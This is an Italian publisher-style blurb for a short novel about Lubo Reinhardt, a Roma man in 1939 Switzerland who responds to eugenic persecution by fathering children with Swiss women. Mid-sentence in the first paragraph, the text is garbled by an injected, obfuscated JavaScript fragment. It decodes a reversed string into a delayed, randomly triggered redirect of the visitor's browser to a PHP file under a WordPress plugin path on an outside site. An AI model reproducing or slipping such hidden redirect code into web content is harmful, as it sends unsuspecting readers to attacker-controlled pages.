La missione di uno zingaro

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“Gli zingari sono sempre stati un problema. Ma siccome Lubo Reinhardt era uno zingaro, a lui interessavano poco i problemi degli altri”. Inizia così la storia di Lubo e di alcuni dei suoi 200 figli, ambientata in Svizzera a partire dal 1939, qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando, nella teoria e nella prassi, la parola d’ordine era: eugenetica. Vale a dire, sterilizzazione forzata delle donne e sottrazione dei figli alle famiglie nomadi, per pianificare il miglioramento della razza. Non stupisca l’ambientazione: la Svizzera, come la maggior parte dei Paesi europei, non fece eccezione.
A Lubo hanno ucciso la moglie e portato via due figli. La sua reazione, per metà scelta e per metà destino, è di mettere in pratica con la sua vita un’azione uguale e contraria. La sua missione diventa mescolare le razze. Il suo metodo: inseminare il maggior numero possibile di donne svizzere.
Un romanzo breve, di rara intensità, una storia a più voci, che sa stare in equilibrio sul difficile crinale tra il dramma e l’ironia.

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